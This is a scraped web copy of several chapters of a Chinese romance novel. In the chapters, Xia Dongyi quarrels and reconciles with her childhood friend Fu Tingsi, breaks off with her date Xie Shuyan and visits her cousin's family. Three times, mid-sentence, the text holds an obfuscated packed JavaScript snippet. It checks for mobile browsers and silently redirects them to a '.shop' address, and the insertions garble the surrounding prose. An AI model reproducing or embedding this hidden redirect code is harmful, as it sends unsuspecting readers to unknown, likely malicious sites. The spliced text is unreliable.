她将窗户降下一缝,让温暖柔和的春风荡漾进来,然后语调平缓地讲述道:“我有一个从小一块儿长大的发小,他是个心理非常幼稚的家伙,三天两头和我吵架,就为一点点小事,有时候还特别莫名其妙,就像闲着没事做,特地跑来找我吵一样,很无厘头,就比如今天早上就是了,就因为我把他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054625|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉黑了,来我家对我冷嘲热讽阴阳怪气了一通。” 原本夏冬意还想风平浪静地阐述一番,越说到后面越生气,随之的,语气也开始有了变化:“你说他是不是有毛病,一大早弄得我很不开心,好心情都泡汤了。” “那你现在说出来,是不是应该开心一点才对?”前面是红绿灯十字街口,谢书言把车停下,想起来反手从后座捞过一个超市购物袋,放在夏冬意手边,指了指:“买了点零食。” 夏冬意这会儿并没有吃零食的心情,按理说她抱怨了这一通,发泄也发泄了,骂也骂过了,可心里还是感到老不痛快,讲不清楚来由,这不快中伴随着隐隐的难过和伤感,很淡很淡,以至于她自己也没有察觉到,就说:“还是不太开心,但又讲不来为什么不开心。” 谢书言沉默了好几秒,望着车前方似乎是在沉思着什么,夏冬意没有注意到他的神情,只沉浸在自己的情绪中。直到前面的车流开始松动的时候,谢书言才出声说道:“带你去兜风吧,沧浪山盘山公路上去那一带风景特别好,接触一下自然风光有助于你缓解心情。” “好。”夏冬意欣然答应。 自从上班以后,就只有周末的时间可以消遣,周末她也不愿意出去,宁可在家里睡大觉,最近和谢书言约会频繁,但也都是在城里,已经好久没有去踏春了。 沧浪山上的风光很不错,山清水秀,夏冬意以前读书的时候经常去,那会儿盘山公路还没有开通,都是约几个朋友沿着石阶上去的,近几年车道开通以后,便捷了许多。 不过近几年傅禹安在沧浪山建了一座避暑山庄,让沧浪山一下子名声大噪。避暑山庄非常的气派,一般都是傅禹安用来接见重量级人物,里面一般人自然是进不去,但外面的环境和娱乐场所都是对市民开放的,买了门票进去,不限时长,便成为了远近闻名的旅游项目。 因为和傅家的关系,夏冬意倒是进去过好几回,实际上也就和高级会所没有两样,夏冬意还是避暑山庄的终身会员,但因为沧浪山偏离市区,她也只会在夏天的时候,跟随父母到这里来住几天。 不过这些,夏冬意都没对谢书言说起,毕竟谢书言也没有问,她也不可能去对他说。 因为是周末,山上游客不少。两人在山上逛了圈,打算吃过午饭再回去,夏冬意打算带谢书言进山庄里头吃个便饭,这里有一道名菜是她特别喜欢的。 就在她边侧身和谢书言说着话,边将他往里头带的时候,从屏风后面走出来两个意想不到的人,堪堪打了一个照面。 夏冬意刚说了一半的话,生生地卡在了喉咙口。 怎么也想不到会在这里碰上最不想见到的人。 方棋彻先停下了脚步,大概也是没想到会在这里碰到夏冬意。 “夏小妞?”他吃惊的同时,第一反应就是去看向旁边的傅亭斯。 傅亭斯却仿佛压根没注意到夏冬意似的,笑得吊儿郎当,左肩撞了撞方棋彻底右肩膀:“你暗恋对象。” 就在方棋彻不明所以的时候,夏冬意彻底恼火了,一字一顿叫道:“傅亭斯,你是不是脑子有毛病?” 傅亭斯轻轻笑了一声,身体随着笑声轻轻前后抖动了一下,显得特别的散漫不羁,用一种只有夏冬意能听懂的语气说:“不是你说的,暗恋他好多年了。” 傅亭斯似乎总是有办法惹毛她。 夏冬意不再顾及谢书言是否还在场,也不再记得自己要矜持淑女,上去就冲着傅亭斯一膝盖,顶在他的大腿上。 “傅亭斯,你去死吧,这辈子我都不想再见到你!”她大叫着,快步往里跑去。 谢书言追了上去。 等两人都走了,方棋彻扫了眼傅亭斯:“你今天吃错药了?” 傅斯亭垂头看着光亮的瓷砖上打下的影子,无所谓的笑了笑。 “要不要去看看,”方棋彻不放心地往里望了望,“她好像在哭。” 傅亭斯歪在嘴角的笑意僵了僵,抬头看向方棋彻。 没等对方说话,利落的一个转身,大步往屏风后面走去。 7. 小狗不听话 自屏风后传来熟悉的哭腔。 “对不起,谢书言,我失态了,让你看到笑话了。” 傅亭斯蓦地收住了脚步。 夏冬意站在通往花园的走廊上,明媚的阳光下,她的脸上爬满了泪水,谢书言微弯着身体,在她周围形成一道阴影,女孩大半个身影罩在其中。 “对不起。”夏冬意再次满含歉意地对谢书言说道,抬起手,用手背擦了擦眼泪。 谢书言用沉默地目光温柔地望着她,谅解地摇摇头。 夏冬意轻轻吸了吸鼻子,努力克制哭腔:“我平时不这样,都怪那个白痴神经病。” “你很讨厌他?”谢书言问。 “嗯。”夏冬意没有犹豫地点了点头。 见她眼睛红肿,谢书言向路过的服务生要了一块热毛巾。 “谢谢。”夏冬意接过谢书言递来的热毛巾,摊开毛巾,轻轻按压在眼睛上。 傅亭斯脸上的表情变得漠然,转身大步离开。 * 方棋彻翘着一双长腿,大喇喇地坐在一家山顶咖啡店门口的凉伞下,享受着春日和煦的风光的同时,也不忘和旁边路过的美女互抛魅眼,眼风一扫,忽瞥到某人火气不小地大步走来。 “怎么回事,吃炸药了?”虽然这么问着,方棋彻语气却并不急切,似乎已经见惯不怪了,猜也能猜到,这两人大概率是又吵了。 傅亭斯一屁股坐在对面,双腿敞开着,手肘架着扶手,也不理会方棋彻的话,视线投向远处的农庄。 心情看起来十分不爽。 “不是去讲和的吗,怎么又臭着一张脸?”方棋彻轻轻踢了踢他的鞋尖。 傅亭斯没有做出什么反应,过了好几秒才缓缓将目光移转过去,默不作声注视着方棋彻。 “这么看着我干嘛?”方棋彻被看得发毛。 “刚才那个,你看见了?”傅亭斯看了他一会儿,掀唇,慢悠悠说出这句话。 好友多年,方棋彻几乎可以秒猜到他这话背后的用意,正是因为清楚,才让他感到匪夷所思。不禁脱口而出:“你傅少爷几时在意过别人长得丑还是美,该不会是见到夏咚咚有交往对象,急起来了吧?” “为民除害,不是挺好。”傅亭斯不屑地轻嗤一声,“我巴不得她赶快嫁了,省得吵死。” 方棋彻悠悠然道:“既然这样,你发什么火?” 傅亭斯道:“我发什么火?” “你没发火,脸那么臭?按你少爷的脾气,你会在意那人丑的美的,估计你都不会多看人家一眼。那天晚上在酒吧里,你冲淼森发那通火我就看你不对劲了,再说咱们咚咚妹妹也没你说的这么没市场啊。” 傅亭斯慢条斯理地从口袋里掏出火机和烟盒,气笑了般道:“哦,我差点忘记了,她暗恋你嘛,挺好的,要不你俩发展发展?” 方棋彻弯身捡起傅亭斯的打火机朝他扔过去,笑骂:“我看夏咚咚说的一点错没有,你是无差别攻击啊,我的醋你都吃?我跟她发展什么,兔子不吃窝边草懂不懂?!” “呵。”傅亭斯冷笑了一声,拿烟盒屁股在桌上磕了磕,敲出来一根烟,衔在嘴里,微微地歪头,火光聚拢处照亮了凌厉的眉眼。 方棋彻有些意外:“不是戒烟了,怎么又抽上了?” 傅亭斯歪头轻嘘一口烟,烟雾后面那双桃花眼似笑非笑着,轻飘的语气随着烟雾而出:“心情不好,抽根烟怎么了?” * 吃过饭,夏冬意的心情仍旧没有好转起来。饭后,和谢书言在花园里逛了会儿,春日暖融,花团锦簇,馥郁的花香味弥漫在空气中。可这一番美丽的风景也只是稍稍地让夏冬意打起了一点兴致,很快,她再次被积聚在心里的那股莫名其妙的烦闷攻击了。 她觉得这场漫步无法再继续下去了,停下脚步对谢书言说道:“谢书言,你先回去吧,我想一个人待会儿。” “那你怎么回去?”谢书言知道她没开车过来。 “我想回去的时候,会让司机来接我。” 谢书言并没有再坚持什么,而是让她注意安全,还说,希望下次见面的时候,她的心情会好一点,便和夏冬意告别离开了。 夏冬意漫无目的地在花园里随处走着,这是山庄内部的后花园,种着很多市面上罕见的奇珍花草,平时这里非常幽静,没有人会过来打扰到她。 夏冬意站在一座塔下,这座塔在这里已经站立了几百年,它的旁边屹立着一棵粗大的古樟树,像两个相依为命的好朋友,经历着风吹雨淋。 夏冬意仰起头,视线穿过直射的阳光,她眯起了眼睛,让眼泪肆意流了下来。 不知道今天为什么有这么多的眼泪,流也流不完似的。 耳边传来一声低低的熟悉的轻咳声。 夏冬意倏地睁开了眼。 傅亭斯懒散靠在树下,低头掩饰了一下眼里的异色。 夏冬意一见他这副样子就来气,扭头就走。 傅亭斯大步上前,一把扣住她手腕拉回来,夏冬意用力一甩,脱开了他的禁锢。傅亭斯再次拉住她。 “傅亭斯,你有病啊!你是不是觉得这样挺好玩的?”夏冬意懊恼极了,用了更大的力气挣扎。 傅亭斯收紧手臂,夏冬意没有提防地撞进了他怀里,两人都猛地怔住了,画面在这刻定格,世界仿佛静止了。 夏冬意红着眼睛仰起头,想将他推开,可他的力气那样大,钳制着她的手,松动不了分毫,只好颤着嗓音骂道:“你是不是有病啊傅亭斯。” 明明是一句骂人的话,语气却藏着无尽的委屈。 傅亭斯垂下了眼,也在一瞬间软和了下来:“不准备原谅我了吗?” 他垂眸的样子很柔顺,像一只大金毛,夏冬意觉得自己挺没出息的,明明前一秒气的要炸了,可是只要傅亭斯一滑跪,一服软,她就一点也气不起来了,能够在一瞬之间忘记这个家伙刚才有多讨人厌。 但她又不想马上就给他好脸色看,于是佯怒着甩开他的手,背过身去,:“不是你自己说不要见面的吗?” 傅亭斯耐心地绕到她跟前,半俯下身揉了揉她的头:“不见面你说可能吗,小矮子?” 夏冬意刚要好起来的心情,再次被炸开了,用力拍开他的手,跳起来想揉乱他的头发泄愤,两个动作几乎一气呵成,没想到傅亭斯动作更快,轻巧地躲开了,看到夏冬意气急败坏的样子,努嘴笑了笑,两肩微微耸起,表情很是欠揍。 夏冬意不想理会他,转身就走。 “诶,夏冬意。”傅亭斯突然叫她名字。 夏冬意一顿。 转头看到少年依然懒懒散散的模样,春光和绿意映在他漆黑的深眸里,透露难得的认真。 “不是要听我狗叫吗?” 夏冬意微微的诧异。 她都已经忘记了这件事,傅亭斯还记得。 下一秒,女孩弯起一对晚月一样的眼睛,笑盈盈,亮晶晶地望着他。 “好啊。” 傅亭斯静静地注视着她,而后,慢慢地,一个字一个字机械地,自薄唇中吐出了三个音节。 “汪、汪、汪。” “哈哈哈哈哈哈哈哈。” 夏冬意笑完以后发现,空气突然变得很安静。 “很好笑吗?”傅亭斯对夏冬意这种极其不尊重他的行为感到很无语,面无表情地问道。 这么一来,夏冬意更想笑了,插着腰笑的停不下,越笑越想笑,笑了大概有半分钟才终于勉强停止了,边咽着笑边说道:“你是怎么做到像个机器人一样,没有任何感情和表情学狗叫的,咳咳咳……” 夏冬意不慎被自己的口水呛住了,弯下腰咳的气喘吁吁,眼泪流不止,肺都要咳出来了。 傅亭斯却突然噗嗤一声笑出来,接着,哈哈大笑起来。 于是这两人的画面变得十分的诡异了起来:一个咳得快要死了,一个笑得快要死了。 夏冬意当然知道他为什么笑。 傅亭斯这笑是幸灾乐祸的笑,是不顾她死活的笑,好像她的某个行为触发到了他的笑点一样,反正就是只要她出糗,他就高兴了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054626|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏冬意虽然深谙这人的本性,但还是气得骂他道:“傅亭斯,你到底还是不是人啊?” 傅亭斯抿住唇,像是在用力憋笑,夏冬意心想,算他还有点良知,不想却是太高估了他,只听到傅亭斯带笑说道:“我发现你有时候还挺可爱的。” 在夏冬意心里,从傅亭斯嘴里说出来的夸她的话都没安什么好心,可爱等于蠢,为什么会觉得她可爱,因为她干了能让他开怀大笑的蠢事,那什么事能让傅亭斯这种人都能开怀大笑的,那就是让她倒霉的事。 夏冬意拼命忍住咳嗽,嘶哑着嗓音冲他喊道:“姓傅的,想让我原谅你,你做梦!” 怒气冲冲地走了。 走出庄园大门,夏冬意想打电话给司机,发现手机没电了,翻了翻包包,充电宝忘了带。 最悲剧的是,连充电线都没带来。 出门在外,没带钱倒是不怕,但最怕的就是夏冬意这种情况。 她四处转了转,想找人借充电线,考虑到这是一件不现实的事情,故而打消了,倒是可以进庄子让服务员帮忙充电,但是夏冬意一想到进去免不了又要见到傅亭斯那条狗,强烈的自尊心让她不肯低下高贵的头颅。 手机没有电是一件异常麻烦的事,意味着她也没法在这里任何一家店里消费,正当夏冬意百无聊赖地坐在路旁的长椅上逗流浪小狗的时候,一道熟悉的声音自身后响起,仿佛刺破黑暗的光束。 夏冬意回过头,看到一道光亮走向自己。 “方棋彻。”她惊喜地站了起来。 “你要走了吗?”她问道。 这话已是暗示意味满满了,方棋彻听出了言外之意,不过他也不曾想到夏冬意有搭他车的打算,就以为是她顺嘴随口问问,遂点了点头:“是准备走了,要等傅少爷一块走。” “他还没出来吗?”夏冬意探头往里望了望。 “好像说还有件事要办,等他一会儿吧。” “别等了。”夏冬意拉着人往停车场走,“反正他自己有车,何苦给他做车夫呢。” 方棋彻想想也有道理,但是有一个问题。 他停下来看着夏冬意说道:“要是那少爷怪罪起来,咱俩是谁的责任?” 夏冬意发现方棋彻这人一点都不好糊弄,有道是人以群分说的一点没有错,于是她说道:“我出三万块,雇你的专车,行么?” 方棋彻看着她诚挚的眼睛,来回摇摆了几个回合,最后还是被钱财收买了,一咬牙,说道:“成交。” 夏冬意满意地坐上了方棋彻的车。在回去的路上,方棋彻接到了傅亭斯的电话,傅亭斯在那头问方棋彻怎么不等他一起走。方棋彻无辜的说道,有个大款买了他的时间,出了三万块呢。 车厢安静,夏冬意清晰地听到傅亭斯冷笑了一声,说,是夏冬意吧。 方棋彻看了看后视镜里假寐的女孩儿,问,你怎么知道的? 傅亭斯轻哼一声,脚指头猜也知道。 又说,你别被她骗了,这个土财主,让她拔两根毛下来都不肯,更别说三万块钱了,兄弟,好自为之。 傅亭斯送了他这四个字以后,挂断了电话。 事实证明,这个世界上真正了解夏冬意的还是他傅亭斯。 当车停在了夏冬意家门口时,方棋彻问她讨要那三万块酬金的时候,这姑娘竟一脸无辜地眨巴着眼睛,对他说道,傅亭斯还欠她三万块钱,让方棋彻跟傅亭斯去要。 然后轻快地跳下车,隔着窗户对着方棋彻挥挥手,送了一个飞吻给他:“谢谢你,大好人,下次来我家做客啊。” 方棋彻突然理解傅亭斯的话。 在夏冬意离开后,他没忘记给傅亭斯打了一个电话,开口就是:“兄弟,我成了你的债权人,从现在开始,你欠我三万块,选择分期还是一次清。” 那边,傅亭斯毫不意外地说道:“夏冬意又在搞什么鬼?” 方棋彻苦笑道:“她说你欠了她三万块钱。” 傅亭斯差点没骂出来:“她说什么就信什么,你暗恋她吧?!” 8. 小狗不听话 夏冬意满以为傅亭斯会主动找她。 从傍晚等到了晚上,他像死了一样,没有任何动静。 哪怕说把他拉黑了,但打个电话也行啊。 别说电话,连一条短信都没有。 这不科学。 就在夏冬意打算发点什么“骚扰”一下傅亭斯的时候,意外地收到了谢书言的微信。 谢书言说,他考虑了一下午,还是决定说开了,想和夏冬意结束掉目前的状态,因为他不想在夏冬意尚且不清楚自己的心意时,趁虚而入,盲目地开始这段错误的关系。 虽然谢书言已经尽量挑选了较委婉的词,但是那隐晦的暗喻还是不难在字里行间觉察到,谢书言的意思是她喜欢的是傅亭斯。 她喜欢傅亭斯? 喜欢那条老狗??? 夏冬意觉得这是对她的奇耻大辱,恨不得现在就给谢书言打去电话,让他把话说清楚。 侮辱人也不能这么侮辱吧? 但夏冬意还是冷静了下来。 笑话,她怎么可能喜欢那条老狗。 算了,结束就结束吧。也挺好的。但是,他要结束这段关系也用不着找这么一个侮辱人的理由羞辱她吧? 夏冬意气得胃痛。 本以为这个谢书言好歹是个正常的吧,没想到这也是个不正常的。 狗男人,没一个好东西。 一气之下就把谢书言拉黑了。 夏冬意的郁闷非但没有因为这个举动而消除,相反的,吐槽欲达到了顶峰,急需找个人痛快地倾诉一通这件让人极度无语的事。 傅亭斯肯定是不能找的,这狗有多自恋,夏冬意都不想多说。 她随手把已经截屏过的,谢书言的信息截,发给了郁吱吱,并在后面狂加了三个问号和一个感叹号。 没过多久,郁吱吱也回复了五个问号过来。 美丽的吱吱:[是你那个相亲对象吗?] 善良的咚咚:[正是他。] 美丽的吱吱:[发生了什么事?] 善良的咚咚:[正是因为没发生什么我才奇怪。] 美丽的吱吱:[他见过傅亭斯了吗] 善良的咚咚:[见过了。] 美丽的吱吱:[所以你是喜欢傅亭斯?] 夏冬意看到这句话,义愤填膺地打字:[神经病啊,我喜欢他,你不知道我最讨厌的就是那个大草包了,而且我都跟他说了,我最讨厌的就是傅亭斯了。] 美丽的吱吱:[你是怀疑,这只是你那相亲对象推脱的借口?] 夏冬意倒是没有往这个角度去想过,按道理来说,谢书言是一个很真诚直接的人,不会是这样的人,如果他不喜欢她,完全可以直接说,为什么要这么多此一举呢? 面对夏冬意的困惑,郁吱吱却有不同的看法。 美丽的吱吱:[知人知面不知心,你才认识他多久,你要知道,他可是个律师,见到的人多,成熟是肯定的,也不可能撕破脸皮跟你,而且这么说的话,他就没责任了嘛,我猜测他可能有喜欢的人了,然后就随便把问题的责任推给了你。] 夏冬意望着这句话,陷入了一种矛盾纠结的状态。 因为回想起来,谢书言给她的感觉并不是这样的人,郁吱吱没有和他相处过,可能不知道,如果谢书言是因为这个原因,那他为什么不把话说开,他的时间也是时间,何必陪她浪费这么久呢。 想到这里,她觉得自己刚才把他拉黑的举动确实是冲动了,他和傅亭斯那种人到底是不一样的,于是又把谢书言从黑名单中拉了出来。 她和谢书言这段关系也算是到此为止了,夏冬意潜意识里却有一种莫名其妙的舒出一口气的轻松。 她细微地觉察到了这一点,却很难说清是为什么。 还是把这个原因归结为,她并不想那么快结婚。 她虽然现在已经二十七岁了,按照传统是谈婚论嫁的年纪了,近几年来,好友同学也一个个地步入婚姻的殿堂,但是夏冬意却觉得自己还没有准备好,她自己都姑且还是一个小孩,怎么处理的好婚后的生活。 听她结过婚的朋友都说,结婚以后完全是不一样的生活,离开自己熟悉的舒适圈,离开自己的爸爸妈妈,再也不能任性了,而且婆媳问题也是一个大难题,夏冬意一想起来就觉得麻烦和头疼。 只是和谢书言就这么说拜拜就拜拜了,她这头倒是轻松了,要怎么和家里人说呢? 长大真的好麻烦啊,夏冬意真的不想长大。 这样又过去了一个礼拜,父母那里还不知道她和谢书言已经结束了,夏冬意也没告诉,还想瞒一瞒,瞒到瞒不过去了再说。 她最近这几天回家都很晚。江市这边,家里只要有女孩儿,基本上都会有宵禁,十年前,江市及附近一带治安不好,经常出现妇女少女的案子,一到晚上过了八点,这一片的女生几乎是不出门,哪怕要出门也要报备行程,有人陪同。 从小父母就告诉夏冬意,晚上不要出门,夏冬意也养成了晚上不出门的习惯。不过近个五六年来,江市大力发展,清除了一片黑暗势力,治安管理上也取得了很大的效果,现在的江市早已不再像过去那样,有夜间出门的担忧。但多年来养成的习惯,还是无法一下子改变的。 夏冬意在二十五岁之前,家里也有宵禁,不过这两年父母也对她采取了放宽措施。前阵子晚上她都和谢书言出去约会,这个星期她依然按照之前的规律,只是下完班以后改成了和郁吱吱逛夜市了。 两人差不多逛到七八点,然后打道回府。这么一个星期下来,江笑妍倒也没发现什么问题。 这天又到了周五,夏冬意提前接到了嫂子的电话,说嘟嘟天天问她小姑什么时候来家里。问她今天有没有时间去家里吃饭。 嘟嘟是嫂子的闺女,刚满三周岁,小姑娘特别喜欢夏冬意这个小姑,因为小姑会陪她玩,带她买好吃的,还会耐着心给她讲故事听。 夏冬意想起来,已经有两个多月没去表哥家里吃饭了,嘟嘟肯定想死她了。 下了班,夏冬意开车去了一趟玩具专卖店,给嘟嘟挑选了几样礼物,又去了书店,买了几本小孩爱看的绘本。 带着精心挑选的礼物,夏冬意来到了表哥家。 许是太久没来了,她这脑子不记事,经常迷迷糊糊的性格,这一次也不例外。进入小区后,一直朝里面直走,非常自信从容地拐进一栋楼。 进入电梯前,犹豫了一下,表哥家是几楼来着? 好像忘记了,又好像隐隐有印象。 算了,进去再说。 夏冬意凭感觉按下了十七楼,然后顺手给嫂子发了条语音:[嫂子,你家在几楼,我到了。] 不会儿,嫂子的语音就来了:[好,我来开门。] 叮—— 电梯到达十七楼。 夏冬意出了门,左看右看,是哪一家? 她感觉老大不对劲,好像方向位置不对? 右边这家倒是很像,门口的鞋子很多,也摆放的很整齐,和嫂子爱整洁的性格相似,但大门颜色好像不一样。 夏冬意一时想不起来,表哥家的门是什么颜色。 就是嫂子怎么还没出来,她记得他们家是有门铃的,她在门上找了好几遍也没发现门铃。算了,别敲门了,手疼。 于是她在外面鞋柜给自己找了双鞋子,换上,静静坐在门口的小椅子上,等嫂子来开门。 等了好几分钟,没见人出来。 此时的夏冬意已经觉得有点不对头了,正好嫂子打来电话,问她到了没有,说已经帮她开好门了。 夏冬意迷迷糊糊的说,我到了呀。 可是这门…… 夏冬意突然有点反应过来了,嫂子在那头问道,你是不是走错楼了? 她猛地站起来,换好鞋子,按下电梯键,头也不回地走进电梯里。 太丢脸了,幸好没人发现,也幸好,她没有拍门。 夏冬意到的时候,正好是晚饭时间,她刚换好鞋子进门,嘟嘟就冲了出来,抱住她大腿说,小姑,你总算来了,妈妈说你迷路了,你是自己找回来的吗? 夏冬意轻轻咳嗽了两声,心想这么丢脸的事情还是别提了吧,于是对嘟嘟说道,嘟嘟,你让小姑先把东西放下好不好,小姑给你买了玩具和吃的。 嫂子在厨房里面说,她那玩具哪里还玩得过来,你哥昨天还给她买了呢,下次别费这个钱了,吃的家里也不缺。 夏冬意笑道,我买的不一样嘛。把嘟嘟抱起来,揉揉她的头走进厨房,问嫂子道,嘟嘟剪头发了啊,这个发型可爱呢。 嫂子笑道,天天要梳头发,我嫌麻烦,干脆剪掉了。 夏冬意很喜欢嘟嘟的新发型。 她帮嫂子把饭菜端到桌上,嘟嘟也要来帮忙,夏冬意给了她一个不烫的小碗,表哥还没回来,又等了一会儿。 在这个等着的时间里,夏冬意也没闲着,抱着嘟嘟在沙发上玩新买的积木,她把下巴搁在嘟嘟肩膀上,小姑娘被她弄得发痒,缩着脖子笑的停不下来。 “嘟嘟,今天晚上小姑和你一起睡觉,你要把小床让给我睡吗?”夏冬意这么逗她玩。 小姑娘想也没想的说:“好啊,我把我的床给小姑睡,我睡外面,你睡里面,我来保护你。” 夏冬意说,那还是我睡在外面吧,小姑个大,我晚上睡觉要抱着嘟嘟,好不好?就像这样。 说着,夏冬意将嘟嘟搂进怀里,小姑娘在她怀里扭成一团,发出咯咯咯的轻笑。 小女孩又香又暖又软,夏冬意不由的想,还是女孩儿好啊,让人的心都软绵绵的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054627|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表哥不知道什么时候回来的,坐在旁边,看了一眼她,说,这么喜欢姑娘,自己怎么不去生一个,要来抱他女儿。 夏冬意翻翻白眼说,我要是能生得出来嘟嘟这么可爱的,我就去生了。 眼看表哥要将话题引到她最不想听的事情上,夏冬意连忙站起来,吃饭吃饭,然后牵着嘟嘟的手下了沙发,走到桌边用餐。 嘟嘟一定要和夏冬意坐在一起,夏冬意为她剥她最喜欢的虾,放进蘸料里头。 吃过饭以后,夏冬意陪着嘟嘟一起玩了一会儿,嘟嘟突然问她要手机,夏冬意一边把手机拿给她,一边问她要干什么。 嘟嘟非常熟练地点开了夏冬意的微信,并且问她,小姑,你有小斯叔叔的微信吗? “有啊。”夏冬意不知道她要干什么,没多想地在通讯录里找了找,按首字母“B”,奇怪,没看到“不要脸的老狗”。 夏冬意这才想起来,她之前把傅亭斯拉黑了。 好吧,看在嘟嘟的份上,把他重新拉出来了吧。 “我想给他发语音。”嘟嘟说。 夏冬意一阵茫然:“为什么要给他发语音?” “我要告诉他我剪头发了。” 夏冬意哭笑不得:“你剪头发为什么要告诉他?” “我就是想。” “就是想告诉他?” 嘟嘟点点头。 然后又说:“小姑,我给小斯叔叔视频。” 夏冬意几乎没想的说:“你要是给他发视频,他绝对会吓得挂断。” “为什么?” 原因自然是:“你小姑从来没给他打过视频,连语音都很少打,你这么发过去,不把他吓到,还以为我怎么了。” 虽然这么说着,但向来宠嘟嘟的夏冬意还是按下了视频电话。 可是令夏冬意感到意外的是,傅亭斯不仅没有挂断,而且速度非常快地接起了,只是他似乎在忙着,镜头摇晃,似乎在和旁边的人边说话边走路,从镜头里只能看到他的下颌线。 嘟嘟对着镜头说了几句话,发现傅亭斯都没理她。夏冬意看他在忙着,猜到可能是看到有人打视频过来就接了,估计也没看到是她打来的。 夏冬意随手把视频挂断了。 嘟嘟还有点兴味不减,因为没有给小斯叔叔看到她的新发型而遗憾. 夏冬意奇怪,嘟嘟拢总就见过傅亭斯一面,还是过年那会儿在她家聚餐,那回表哥一家也在。 那段时间大概是应酬多,在她家的傅亭斯像是在自己家里,没有陪长辈们喝酒,吃过饭之后就靠在她家沙发里了。夏冬意正抱着嘟嘟哄她吃饭,傅亭斯看了她一会儿,然后嘴巴就像淬了毒似的,自然是激怒了夏冬意,两人斗嘴不停,倒是把嘟嘟逗得前仰后伏的笑。 后来傅亭斯坐闷了,站起来问嘟嘟要不要吃肯德基。气得夏冬意瞪他,肯德基多没营养,嫂子平时是不给小朋友吃这些的,更何况她才好不容易哄嘟嘟吃了大半碗饭,他就跟故意一样来捣乱。为什么嘟嘟非要给傅亭斯那老狗看她的新发型。 嘟嘟坐在她腿上,拍着说好啊好啊。 傅亭斯耸了耸肩,像是无奈又有些幸灾乐祸地对她挑了挑眉。像是在说:你看,我也没逼她。 夏冬意直接抓过手边的抱枕砸向他。 傅亭斯精准地判断了她的反应,轻轻地把身体往旁边一歪,毫不费力地躲开了。 但嘟嘟却因为这点,记住了傅亭斯的好。 说起小斯叔叔,就说是带她吃肯德基的叔叔,还给她买玩具,还把她逗得哈哈大笑。她可喜欢小斯叔叔了。 还有一个更重要的原因。 嘟嘟歪着脑袋想了想,羞涩地笑着,因为小斯叔叔帅。 夏冬意捏捏她红红的小脸,你这么小,知道什么是帅,什么是丑啊?我给你说,在我们正常人眼里,小斯叔叔那种就是丑,都没有你小姑一半好看。 嘟嘟有点奇怪,问,小姑,你也叫小斯叔叔吗? 夏冬意给她解释,因为啊,你叫小斯叔叔啊,那我就按照你的叫法,我不可能叫他狗吧。 嘟嘟到底是听不太懂的,夏冬意也没指望她听懂,但嘟嘟还是坚持认为,傅亭斯比她小姑要大,问夏冬意,小斯叔叔是不是你的哥哥? 快把夏冬意乐死,问她,是不是因为傅亭斯看起来比较老。 嘟嘟摇摇头说,小斯叔叔长得大。 “大就是老。”夏冬意洗脑道,“他就是看起来比较老,才会大的。” 嘟嘟感觉小姑的说法有点问题,也不应声,也不点头,夏冬意哄她道,这样好了,我们拍个照片给他。 夏冬意点开照相功能,让嘟嘟拿着手机自拍了一张,发给了傅亭斯。 没多久,收到了回复。 不要脸的狗:[你去整容了?] 9. 小狗不听话 刚看到这条信息的时候,夏冬意都怀疑傅亭斯压根没有好好看照片,张口就来。 这分明就不是她。还去整容了呢。 仔细一想,不对啊,他这不就是变相地骂她丑吗? 夏冬意一边若无其事地回答着嘟嘟各种奇怪的问题,一边面带着礼节性的微笑,对着手机编辑信息:[是啊,自己长得丑,以为所有人都和他一样需要整容。] 不得不说,夏冬意还是挺佩服傅亭斯的,都忙着没时间接嘟嘟的视频电话,却有时间看她的信息,并回复。 估计是心里在意死了吧。 不会儿。手机响了。 夏冬意慢吞吞拿起,嘴角勾起谜之微笑。 不要脸的狗:[你能有这样的觉悟,说明还是有自知之明的] 看完以后,夏冬意脸垮下了,假装没看见一样,退出微信。 没想到傅亭斯的下一条信息就在她退出来的时候,跳了进来。 不要脸的狗:[要不要去吃夜宵,我去接你] 夏冬意弯弯嘴角。这会儿她肚子很饱,懒得动,随手发过去:[你跟我很熟吗] 这回傅亭斯没再动静了,像是被气到了一样。 夏冬意也没多放在心上,转眼间就忘了这件事。 第二天,夏冬意一觉睡到大中午,打着哈欠下楼来,午饭已经上桌了,夏闻岸今天难得在家,从报纸后面抬头看到自家宝贝女儿一副没睡醒的样子,倒也没说什么。 厨房传来鸡汤的香味,夏冬意蹭进去喝了几口,正巧江笑妍从楼顶菜园下来,摘了两个新鲜瓜果,让保姆阿姨炒两盘菜。见夏冬意这才起床,不猜也知道发生了什么事。 料理台上摆着洗净的草莓,夏冬意喝完鸡汤,又顺手拈了一颗草莓,听到身后她母亲问她,今天周末怎么没出去。 夏冬意知道这正是时候,江笑妍如果没发现什么,不会这么突然来问一句,再瞒下去也没意义,于是便说已经掰了。 